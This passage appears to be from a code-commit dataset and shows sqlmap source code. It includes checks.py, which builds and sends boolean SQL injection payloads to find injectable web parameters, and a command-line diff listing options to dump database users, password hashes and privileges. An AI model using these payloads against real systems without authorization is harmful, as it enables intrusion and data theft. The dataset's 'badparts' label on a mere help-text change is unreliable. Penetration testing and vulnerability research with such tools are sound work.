lib.core.data import kb from lib.core.data import logger from lib.core.exception import sqlmapConnectionException from lib.core.session import setString from lib.core.session import setRegexp from lib.request.connect import Connect as Request def checkSqlInjection(place, parameter, value, parenthesis): \"\"\" This function checks if the GET, POST, Cookie, User-Agent parameters are affected by a SQL injection vulnerability and identifies the type of SQL injection: * Unescaped numeric injection * Single quoted string injection * Double quoted string injection \"\"\" randInt=randomInt() randStr=randomStr() if conf.prefix or conf.postfix: prefix =\"\" postfix=\"\" if conf.prefix: prefix=conf.prefix if conf.postfix: postfix=conf.postfix infoMsg =\"testing custom injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s%s%s AND %s%d=%d %s\" %(value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt, postfix)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s%s%s AND %s%d=%d %s\" %(value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt +1, postfix)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming custom injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s%s%s AND %s%s %s\" %(value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randStr, postfix)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"custom injectable \" logger.info(infoMsg) return \"custom\" infoMsg =\"testing unescaped numeric injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s%s AND %s%d=%d\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s%s AND %s%d=%d\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt +1)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming unescaped numeric injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s%s AND %s%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"unescaped numeric injectable \" infoMsg +=\"with %d parenthesis\" % parenthesis logger.info(infoMsg) return \"numeric\" infoMsg =\"%s parameter '%s' is not \" %(place, parameter) infoMsg +=\"unescaped numeric injectable\" logger.info(infoMsg) infoMsg =\"testing single quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s'%s AND %s'%s'='%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s'%s AND %s'%s'='%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr +randomStr(1))) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming single quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s'%s and %s%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"single quoted string injectable \" infoMsg +=\"with %d parenthesis\" % parenthesis logger.info(infoMsg) return \"stringsingle\" infoMsg =\"%s parameter '%s' is not \" %(place, parameter) infoMsg +=\"single quoted string injectable\" logger.info(infoMsg) infoMsg =\"testing LIKE single quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s'%s AND %s'%s' LIKE '%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s'%s AND %s'%s' LIKE '%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr +randomStr(1))) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming LIKE single quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s'%s and %s%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"LIKE single quoted string injectable \" infoMsg +=\"with %d parenthesis\" % parenthesis logger.info(infoMsg) return \"likesingle\" infoMsg =\"%s parameter '%s' is not \" %(place, parameter) infoMsg +=\"LIKE single quoted string injectable\" logger.info(infoMsg) infoMsg =\"testing double quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\"=\\\"%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\"=\\\"%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr +randomStr(1))) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming double quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s\\\"%s AND %s%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"double quoted string injectable \" infoMsg +=\"with %d parenthesis\" % parenthesis logger.info(infoMsg) return \"stringdouble\" infoMsg =\"%s parameter '%s' is not \" %(place, parameter) infoMsg +=\"double quoted string injectable\" logger.info(infoMsg) infoMsg =\"testing LIKE double quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\" LIKE \\\"%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\" LIKE \\\"%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr +randomStr(1))) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming LIKE double quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s\\\"%s and %s%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"LIKE double quoted string injectable \" infoMsg +=\"with %d parenthesis\" % parenthesis logger.info(infoMsg) return \"likedouble\" infoMsg =\"%s parameter '%s' is not \" %(place, parameter) infoMsg +=\"LIKE double quoted string injectable\" logger.info(infoMsg) return None def checkDynParam(place, parameter, value): \"\"\" This function checks if the url parameter is dynamic. If it is dynamic, the content of the page differs, otherwise the dynamicity might depend on another parameter. \"\"\" infoMsg=\"testing if %s parameter '%s' is dynamic\" %(place, parameter) logger.info(infoMsg) randInt=randomInt() payload=agent.payload(place, parameter, value, str(randInt)) dynResult1=Request.queryPage(payload, place) if True==dynResult1: return False infoMsg=\"confirming that %s parameter '%s' is dynamic\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"'%s\" % randomStr()) dynResult2=Request.queryPage(payload, place) payload=agent.payload(place, parameter, value, \"\\\"%s\" % randomStr()) dynResult3=Request.queryPage(payload, place) condition =True !=dynResult2 condition |=True !=dynResult3 return condition def checkStability(): \"\"\" This function checks if the URL content is stable requesting the same page three times with a small delay within each request to assume that it is stable. In case the content of the page differs when requesting the same page, the dynamicity might depend on other parameters, like for instance string matching(--string). \"\"\" infoMsg=\"testing if the url is stable, wait a few seconds\" logger.info(infoMsg) firstPage, firstHeaders=Request.queryPage(content=True) time.sleep(0.5) secondPage, secondHeaders=Request.queryPage(content=True) time.sleep(0.5) thirdPage, thirdHeaders=Request.queryPage(content=True) condition =firstPage==secondPage condition &=secondPage==thirdPage if condition==False: warnMsg =\"url is not stable, sqlmap will base the page \" warnMsg +=\"comparison on a sequence matcher, if no dynamic nor \" warnMsg +=\"injectable parameters are detected, refer to user's \" warnMsg +=\"manual paragraph 'Page comparison' and provide a \" warnMsg +=\"string or regular expression to match on\" logger.warn(warnMsg) if condition==True: logMsg=\"url is stable\" logger.info(logMsg) return condition def checkString(): if not conf.string: return True condition=( kb.resumedQueries.has_key(conf.url) and kb.resumedQueries[conf.url].has_key(\"String\") and kb.resumedQueries[conf.url][\"String\"][:-1]==conf.string ) if condition: return True infoMsg =\"testing if the provided string is within the \" infoMsg +=\"target URL page content\" logger.info(infoMsg) page, _=Request.queryPage(content=True) if conf.string in page: setString() return True else: errMsg =\"you provided '%s' as the string to \" % conf.string errMsg +=\"match, but such a string is not within the target \" errMsg +=\"URL page content, please provide another string.\" logger.error(errMsg) return False def checkRegexp(): if not conf.regexp: return True condition=( kb.resumedQueries.has_key(conf.url) and kb.resumedQueries[conf.url].has_key(\"Regular expression\") and kb.resumedQueries[conf.url][\"Regular expression\"][:-1]==conf.regexp ) if condition: return True infoMsg =\"testing if the provided regular expression matches within \" infoMsg +=\"the target URL page content\" logger.info(infoMsg) page, _=Request.queryPage(content=True) if re.search(conf.regexp, page, re.I | re.M): setRegexp() return True else: errMsg =\"you provided '%s' as the regular expression to \" % conf.regexp errMsg +=\"match, but such a regular expression does not have any \" errMsg +=\"match within the target URL page content, please provide \" errMsg +=\"another regular expression.\" logger.error(errMsg) return False def checkConnection(): infoMsg=\"testing connection to the target url\" logger.info(infoMsg) try: page, _=Request.getPage() conf.seqMatcher.set_seq1(page) except sqlmapConnectionException, exceptionMsg: if conf.multipleTargets: exceptionMsg +=\", skipping to next url\" logger.warn(exceptionMsg) return False else: raise sqlmapConnectionException, exceptionMsg return True ", "sourceWithComments": "#!/usr/bin/env python\n\n\"\"\"\n$Id$\n\nThis file is part of the sqlmap project, http://sqlmap.sourceforge.net.\n\nCopyright (c) 2006-2008 Bernardo Damele A. G. \n and Daniele Bellucci \n\nsqlmap is free software; you can redistribute it and/or modify it under\nthe terms of the GNU General Public License as published by the Free\nSoftware Foundation version 2 of the License.\n\nsqlmap is distributed in the hope that it will be useful, but WITHOUT ANY\nWARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License for more\ndetails.\n\nYou should have received a copy of the GNU General Public License along\nwith sqlmap; if not, write to the Free Software Foundation, Inc., 51\nFranklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\"\"\"\n\n\n\nimport re\nimport time\n\nfrom lib.controller.action import action\nfrom lib.core.agent import agent\nfrom lib.core.common import randomInt\nfrom lib.core.common import randomStr\nfrom lib.core.data import conf\nfrom lib.core.data import kb\nfrom lib.core.data import logger\nfrom lib.core.exception import sqlmapConnectionException\nfrom lib.core.session import setString\nfrom lib.core.session import setRegexp\nfrom lib.request.connect import Connect as Request\n\n\ndef checkSqlInjection(place, parameter, value, parenthesis):\n \"\"\"\n This function checks if the GET, POST, Cookie, User-Agent\n parameters are affected by a SQL injection vulnerability and\n identifies the type of SQL injection:\n\n * Unescaped numeric injection\n * Single quoted string injection\n * Double quoted string injection\n \"\"\"\n\n randInt = randomInt()\n randStr = randomStr()\n\n if conf.prefix or conf.postfix:\n prefix = \"\"\n postfix = \"\"\n\n if conf.prefix:\n prefix = conf.prefix\n\n if conf.postfix:\n postfix = conf.postfix\n\n infoMsg = \"testing custom injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s%s%s AND %s%d=%d %s\" % (value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt, postfix))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s%s%s AND %s%d=%d %s\" % (value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt + 1, postfix))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming custom injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s%s%s AND %s%s %s\" % (value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randStr, postfix))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"custom injectable \"\n logger.info(infoMsg)\n\n return \"custom\"\n\n infoMsg = \"testing unescaped numeric injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s%s AND %s%d=%d\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s%s AND %s%d=%d\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt + 1))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming unescaped numeric injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s%s AND %s%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"unescaped numeric injectable \"\n infoMsg += \"with %d parenthesis\" % parenthesis\n logger.info(infoMsg)\n\n return \"numeric\"\n\n infoMsg = \"%s parameter '%s' is not \" % (place, parameter)\n infoMsg += \"unescaped numeric injectable\"\n logger.info(infoMsg)\n\n infoMsg = \"testing single quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s'%s AND %s'%s'='%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s'%s AND %s'%s'='%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr + randomStr(1)))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming single quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s'%s and %s%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"single quoted string injectable \"\n infoMsg += \"with %d parenthesis\" % parenthesis\n logger.info(infoMsg)\n\n return \"stringsingle\"\n\n infoMsg = \"%s parameter '%s' is not \" % (place, parameter)\n infoMsg += \"single quoted string injectable\"\n logger.info(infoMsg)\n\n infoMsg = \"testing LIKE single quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s'%s AND %s'%s' LIKE '%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s'%s AND %s'%s' LIKE '%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr + randomStr(1)))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming LIKE single quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s'%s and %s%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"LIKE single quoted string injectable \"\n infoMsg += \"with %d parenthesis\" % parenthesis\n logger.info(infoMsg)\n\n return \"likesingle\"\n\n infoMsg = \"%s parameter '%s' is not \" % (place, parameter)\n infoMsg += \"LIKE single quoted string injectable\"\n logger.info(infoMsg)\n\n infoMsg = \"testing double quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\"=\\\"%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\"=\\\"%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr + randomStr(1)))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming double quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s\\\"%s AND %s%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"double quoted string injectable \"\n infoMsg += \"with %d parenthesis\" % parenthesis\n logger.info(infoMsg)\n\n return \"stringdouble\"\n\n infoMsg = \"%s parameter '%s' is not \" % (place, parameter)\n infoMsg += \"double quoted string injectable\"\n logger.info(infoMsg)\n\n infoMsg = \"testing LIKE double quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\" LIKE \\\"%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\" LIKE \\\"%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr + randomStr(1)))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming LIKE double quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s\\\"%s and %s%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"LIKE double quoted string injectable \"\n infoMsg += \"with %d parenthesis\" % parenthesis\n logger.info(infoMsg)\n\n return \"likedouble\"\n\n infoMsg = \"%s parameter '%s' is not \" % (place, parameter)\n infoMsg += \"LIKE double quoted string injectable\"\n logger.info(infoMsg)\n\n return None\n\n\ndef checkDynParam(place, parameter, value):\n \"\"\"\n This function checks if the url parameter is dynamic. If it is\n dynamic, the content of the page differs, otherwise the\n dynamicity might depend on another parameter.\n \"\"\"\n\n infoMsg = \"testing if %s parameter '%s' is dynamic\" % (place, parameter)\n logger.info(infoMsg)\n\n randInt = randomInt()\n payload = agent.payload(place, parameter, value, str(randInt))\n dynResult1 = Request.queryPage(payload, place)\n\n if True == dynResult1:\n return False\n\n infoMsg = \"confirming that %s parameter '%s' is dynamic\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"'%s\" % randomStr())\n dynResult2 = Request.queryPage(payload, place)\n\n payload = agent.payload(place, parameter, value, \"\\\"%s\" % randomStr())\n dynResult3 = Request.queryPage(payload, place)\n\n condition = True != dynResult2\n condition |= True != dynResult3\n\n return condition\n\n\ndef checkStability():\n \"\"\"\n This function checks if the URL content is stable requesting the\n same page three times with a small delay within each request to\n assume that it is stable.\n\n In case the content of the page differs when requesting\n the same page, the dynamicity might depend on other parameters,\n like for instance string matching (--string).\n \"\"\"\n\n infoMsg = \"testing if the url is stable, wait a few seconds\"\n logger.info(infoMsg)\n\n firstPage, firstHeaders = Request.queryPage(content=True)\n time.sleep(0.5)\n\n secondPage, secondHeaders = Request.queryPage(content=True)\n time.sleep(0.5)\n\n thirdPage, thirdHeaders = Request.queryPage(content=True)\n\n condition = firstPage == secondPage\n condition &= secondPage == thirdPage\n\n if condition == False:\n warnMsg = \"url is not stable, sqlmap will base the page \"\n warnMsg += \"comparison on a sequence matcher, if no dynamic nor \"\n warnMsg += \"injectable parameters are detected, refer to user's \"\n warnMsg += \"manual paragraph 'Page comparison' and provide a \"\n warnMsg += \"string or regular expression to match on\"\n logger.warn(warnMsg)\n\n if condition == True:\n logMsg = \"url is stable\"\n logger.info(logMsg)\n\n return condition\n\n\ndef checkString():\n if not conf.string:\n return True\n\n condition = (\n kb.resumedQueries.has_key(conf.url) and\n kb.resumedQueries[conf.url].has_key(\"String\") and\n kb.resumedQueries[conf.url][\"String\"][:-1] == conf.string\n )\n\n if condition:\n return True\n\n infoMsg = \"testing if the provided string is within the \"\n infoMsg += \"target URL page content\"\n logger.info(infoMsg)\n\n page, _ = Request.queryPage(content=True)\n\n if conf.string in page:\n setString()\n return True\n else:\n errMsg = \"you provided '%s' as the string to \" % conf.string\n errMsg += \"match, but such a string is not within the target \"\n errMsg += \"URL page content, please provide another string.\"\n logger.error(errMsg)\n\n return False\n\n\ndef checkRegexp():\n if not conf.regexp:\n return True\n\n condition = (\n kb.resumedQueries.has_key(conf.url) and\n kb.resumedQueries[conf.url].has_key(\"Regular expression\") and\n kb.resumedQueries[conf.url][\"Regular expression\"][:-1] == conf.regexp\n )\n\n if condition:\n return True\n\n infoMsg = \"testing if the provided regular expression matches within \"\n infoMsg += \"the target URL page content\"\n logger.info(infoMsg)\n\n page, _ = Request.queryPage(content=True)\n\n if re.search(conf.regexp, page, re.I | re.M):\n setRegexp()\n return True\n else:\n errMsg = \"you provided '%s' as the regular expression to \" % conf.regexp\n errMsg += \"match, but such a regular expression does not have any \"\n errMsg += \"match within the target URL page content, please provide \"\n errMsg += \"another regular expression.\"\n logger.error(errMsg)\n\n return False\n\n\ndef checkConnection():\n infoMsg = \"testing connection to the target url\"\n logger.info(infoMsg)\n\n try:\n page, _ = Request.getPage()\n conf.seqMatcher.set_seq1(page)\n\n except sqlmapConnectionException, exceptionMsg:\n if conf.multipleTargets:\n exceptionMsg += \", skipping to next url\"\n logger.warn(exceptionMsg)\n\n return False\n else:\n raise sqlmapConnectionException, exceptionMsg\n\n return True\n"}, "/lib/parse/cmdline.py": {"changes": [{"diff": "\n \"be used to enumerate the back-end database \"\n \"management system information, structure \"\n \"and data contained in the tables. Moreover \"\n- \"you can run your own SQL SELECT queries.\")\n+ \"you can run your own SQL statements.\")\n \n enumeration.add_option(\"-b\", \"--banner\", dest=\"getBanner\",\n action=\"store_true\", help=\"Retrieve DBMS banner\")\n", "add": 1, "remove": 1, "filename": "/lib/parse/cmdline.py", "badparts": [" \"you can run your own SQL SELECT queries.\")"], "goodparts": [" \"you can run your own SQL statements.\")"]}, {"diff": "\n help=\"Last table entry to dump\")\n \n enumeration.add_option(\"--sql-query\", dest=\"query\",\n- help=\"SQL SELECT query to be executed\")\n+ help=\"SQL statement to be executed\")\n \n enumeration.add_option(\"--sql-shell\", dest=\"sqlShell\",\n action=\"store_true", "add": 1, "remove": 1, "filename": "/lib/parse/cmdline.py", "badparts": [" help=\"SQL SELECT query to be executed\")"], "goodparts": [" help=\"SQL statement to be executed\")"]}], "source": "\n \"\"\" $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright(c) 2006-2008 Bernardo Damele A. G. and Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA \"\"\" import sys from optparse import OptionError from optparse import OptionGroup from optparse import OptionParser from lib.core.data import logger from lib.core.settings import VERSION_STRING def cmdLineParser(): \"\"\" This function parses the command line parameters and arguments \"\"\" usage=\"%s[options]\" % sys.argv[0] parser=OptionParser(usage=usage, version=VERSION_STRING) try: parser.add_option(\"-v\", dest=\"verbose\", type=\"int\", help=\"Verbosity level: 0-5(default 1)\") target=OptionGroup(parser, \"Target\", \"At least one of these \" \"options has to be specified to set the source \" \"to get target urls from.\") target.add_option(\"-u\", \"--url\", dest=\"url\", help=\"Target url\") target.add_option(\"-l\", dest=\"list\", help=\"Parse targets from Burp \" \"or WebScarab logs\") target.add_option(\"-g\", dest=\"googleDork\", help=\"Process Google dork results as target urls\") target.add_option(\"-c\", dest=\"configFile\", help=\"Load options from a configuration INI file\") request=OptionGroup(parser, \"Request\", \"These options can be used \" \"to specify how to connect to the target url.\") request.add_option(\"--method\", dest=\"method\", default=\"GET\", help=\"HTTP method, GET or POST(default: GET)\") request.add_option(\"--data\", dest=\"data\", help=\"Data string to be sent through POST\") request.add_option(\"--cookie\", dest=\"cookie\", help=\"HTTP Cookie header\") request.add_option(\"--referer\", dest=\"referer\", help=\"HTTP Referer header\") request.add_option(\"--user-agent\", dest=\"agent\", help=\"HTTP User-Agent header\") request.add_option(\"-a\", dest=\"userAgentsFile\", help=\"Load a random HTTP User-Agent \" \"header from file\") request.add_option(\"--headers\", dest=\"headers\", help=\"Extra HTTP headers '\\\\n' separated\") request.add_option(\"--auth-type\", dest=\"aType\", help=\"HTTP Authentication type, value: \" \"Basic or Digest\") request.add_option(\"--auth-cred\", dest=\"aCred\", help=\"HTTP Authentication credentials, value: \" \"name:password\") request.add_option(\"--proxy\", dest=\"proxy\", help=\"Use a HTTP proxy to connect to the target url\") request.add_option(\"--threads\", dest=\"threads\", type=\"int\", help=\"Maximum number of concurrent HTTP \" \"requests(default 1)\") request.add_option(\"--delay\", dest=\"delay\", type=\"float\", help=\"Delay in seconds between each HTTP request\") request.add_option(\"--timeout\", dest=\"timeout\", type=\"float\", help=\"Seconds to wait before timeout connection \" \"(default 30)\") injection=OptionGroup(parser, \"Injection\", \"These options can be \" \"used to specify which parameters to test \" \"for, provide custom injection payloads and \" \"how to parse and compare HTTP responses \" \"page content when using the blind SQL \" \"injection technique.\") injection.add_option(\"-p\", dest=\"testParameter\", help=\"Testable parameter(s)\") injection.add_option(\"--dbms\", dest=\"dbms\", help=\"Force back-end DBMS to this value\") injection.add_option(\"--prefix\", dest=\"prefix\", help=\"Injection payload prefix string\") injection.add_option(\"--postfix\", dest=\"postfix\", help=\"Injection payload postfix string\") injection.add_option(\"--string\", dest=\"string\", help=\"String to match in page when the \" \"query is valid\") injection.add_option(\"--regexp\", dest=\"regexp\", help=\"Regexp to match in page when the \" \"query is valid\") injection.add_option(\"--excl-str\", dest=\"eString\", help=\"String to be excluded before calculating \" \"page hash\") injection.add_option(\"--excl-reg\", dest=\"eRegexp\", help=\"Regexp matches to be excluded before \" \"calculating page hash\") techniques=OptionGroup(parser, \"Techniques\", \"These options can \" \"be used to test for specific SQL injection \" \"technique or to use one of them to exploit \" \"the affected parameter(s) rather than using \" \"the default blind SQL injection technique.\") techniques.add_option(\"--stacked-test\", dest=\"stackedTest\", action=\"store_true\", help=\"Test for stacked queries(multiple \" \"statements) support\") techniques.add_option(\"--time-test\", dest=\"timeTest\", action=\"store_true\", help=\"Test for Time based blind SQL injection\") techniques.add_option(\"--union-test\", dest=\"unionTest\", action=\"store_true\", help=\"Test for UNION query(inband) SQL injection\") techniques.add_option(\"--union-use\", dest=\"unionUse\", action=\"store_true\", help=\"Use the UNION query(inband) SQL injection \" \"to retrieve the queries output. No \" \"need to go blind\") fingerprint=OptionGroup(parser, \"Fingerprint\") fingerprint.add_option(\"-f\", \"--fingerprint\", dest=\"extensiveFp\", action=\"store_true\", help=\"Perform an extensive DBMS version fingerprint\") enumeration=OptionGroup(parser, \"Enumeration\", \"These options can \" \"be used to enumerate the back-end database \" \"management system information, structure \" \"and data contained in the tables. Moreover \" \"you can run your own SQL SELECT queries.\") enumeration.add_option(\"-b\", \"--banner\", dest=\"getBanner\", action=\"store_true\", help=\"Retrieve DBMS banner\") enumeration.add_option(\"--current-user\", dest=\"getCurrentUser\", action=\"store_true\", help=\"Retrieve DBMS current user\") enumeration.add_option(\"--current-db\", dest=\"getCurrentDb\", action=\"store_true\", help=\"Retrieve DBMS current database\") enumeration.add_option(\"--is-dba\", dest=\"isDba\", action=\"store_true\", help=\"Detect if the DBMS current user is DBA\") enumeration.add_option(\"--users\", dest=\"getUsers\", action=\"store_true\", help=\"Enumerate DBMS users\") enumeration.add_option(\"--passwords\", dest=\"getPasswordHashes\", action=\"store_true\", help=\"Enumerate DBMS users password hashes(opt: -U)\") enumeration.add_option(\"--privileges\", dest=\"getPrivileges\", action=\"store_true\", help=\"Enumerate DBMS users privileges(opt: -U)\") enumeration.add_option(\"--dbs\", dest=\"getDbs\", action=\"store_true\", 